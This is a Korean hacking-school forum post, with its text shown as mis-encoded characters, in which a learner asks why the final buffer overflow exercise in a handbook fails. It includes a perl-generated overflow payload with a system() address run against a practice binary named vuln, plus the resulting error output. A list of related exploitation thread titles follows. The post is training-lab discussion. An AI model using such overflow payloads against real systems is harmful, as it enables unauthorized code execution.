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 1574, 5/79 ȸ¿ø°¡ÀÔ  ·Î±×ÀΠ 
   deccj97
   BOF ÇÚµåºÏ ½Ã½ºÅÛ ÇØÅ· ¸¶Áö¸·¹®Á¦ Áú¹®ÀÔ´Ï´Ù

http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_system&no=1901 [º¹»ç]


¿ø·¡ ¼ø¼­°¡

$/bin/bash2
$export PATH=$PATH:.
ÇÑ ´ÙÀ½ , system()ÁÖ¼Ò ¾Ë¾Æ³»°í

$./vulm `perl -e 'printf"A"x84 . "\xe0\x8a\x05\x40"'`
ÀÌ·¸°Ô Ä¡¸é ¿ø·¡´Â
------------------------------------------------
your input is AAAA...AAA?@
sh: (ÀÌ»óÇѹ®ÀÚ) command not found
Segmentaion fault
------------------------------------------------
ÀÌ·¸°Ô ³ª¿À°í (ÀÌ»óÇѹ®ÀÚ)¸¦ 16Áø¼ö·Î ¹Ù²ã¼­
/bin/bash ·Î ¿¬°áµÇ´Â ÆÄÀÏÀ» ¸¸µé¾î¾ßÇϴµ¥

À§¿¡Ã³·³ ¾È³ª¿À°í Àú´Â
---------------------------------
your input is AAAA...AAA?@
Segmentation fault
---------------------------------
ÇÏ°í µð·ºÅ丮¿¡ (ÀÌ»óÇѹ®ÀÚ) ÆÄÀÏÀÌ »ý¼ºµÇ¹ö¸³´Ï´Ù;;

(ÀÌ»óÇѹ®ÀÚ) ÆÄÀÏ »èÁ¦ÇÏ°í (ÀÌ»óÇѹ®ÀÚ)´Ù½Ã ¸¸µé¾î¼­
/bin/bash·Î ¿¬°áÇØÁÖ°í ´Ù½Ã

./vuln `perl -e 'printf"A"x84 . "\xe0\8a\x05\x40"'`

Ãƴµ¥ À̹ø¿£
----------------------------------------
your input is AAAAAA...AAA?@
sh: (ÀÌ»óÇѹ®ÀÚ) : Text file busy
Segmentation fault
---------------------------
¶ó°í ¶ß±¸¿ä...

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  Hit : 2093     Date : 2017/11/28 10:21



    
deccj97 ÇØ°á...Çß½À´Ï´Ù... Åм®... 2017/11/29  
1494   ¹è¿­ »çÀÌÀÇ ´õ¹Ì[2]     ka0r1
12/14 1930
1493   Google ChromeÀ» ºÐ¼®ÇÒ·ÁÇϴµ¥...     vngkv123
12/11 2003
  BOF ÇÚµåºÏ ½Ã½ºÅÛ ÇØÅ· ¸¶Áö¸·¹®Á¦ Áú¹®ÀÔ´Ï´Ù[1]     deccj97
11/28 2092
1491   ¸®¹ö½ÌÈ­¸éÀÌ ÀÌ»óÇÏ°Ô¶°¿ä[1]     qw3709
11/16 2004
1490   ÇÔ¼ö Á¾·á¿Í ½ºÅà °ü·Ã Áú¹®[1]     you88311
11/05 1946
1489   FTZ level11 °ü·Ã Áú¹® ÀÖ½À´Ï´Ù.[4]     you88311
09/27 2410
1488   ptraceÇÔ¼ö¸¦ ÅëÇØ µð¹ö°Å¸¦ ±¸ÇöÇϴµ¥...     vngkv123
09/25 2120
1487   fuzzer¸¦ ±¸ÇöÇÏ°í½ÍÀºµ¥...[3]     vngkv123
08/25 3841
1486   Áö±Ý ftz ÆÄÀÏ»ý¼º µÇ½Ã³ª¿ä??¤Ð¤Ð[1]     waijeies
08/22 2423
1485     [re] Áö±Ý ftz ÆÄÀÏ»ý¼º µÇ½Ã³ª¿ä??¤Ð¤Ð     ÇѽÂÀç
08/18 2547
1484   remote exploit½Ã¿¡ ¾ÈµÇ´Â°Å ÀÌÀ¯ ¾Ë ¼ö ÀÖÀ»±î¿ä,..[2]     vngkv123
08/13 2273
1483   arena ÀÇ ¶æ...     choboKing
08/09 3779
1482   heap exploit ±â¹ý °øºÎ ¹æ¹ý....     choboKing
08/09 2217
1481   ÃֽŠglibc¿¡¼­ »ç¿ë °¡´ÉÇÑ heap exploit ±â¹ý     choboKing
08/09 1998
1480   ITºÐ¾ß·Î Áø·Î°í¹ÎÀ̳ª,Ãë¾÷,ÀÌÁ÷°í¹ÎÀ¸·Î ±Ã±ÝÇÑÁ¡µéÀÌ ¸¹À¸½ÃÁÒ~?     koreais0
08/08 2211
1479   libc-db¿¡¼­ main_arena ¾î¶»°Ô ãÁÒ?     vngkv123
07/30 2318
1478   Æ÷¸Ë½ºÆ®¸µ °³³ä Á¦´ë·Î ¼³¸íÇØÁֽǺÐ[1]     pkdo1030
07/24 2296
1477   pwnable.kr uaf ¹®Á¦ Áú¹®ÀÖ½À´Ï´Ù     pkdo1030
07/22 2256
1476   FTZ - Level12..[1]     ys200209
07/19 2093
1475   hex ray Áú¹®[2]     wwwlk
07/16 2137
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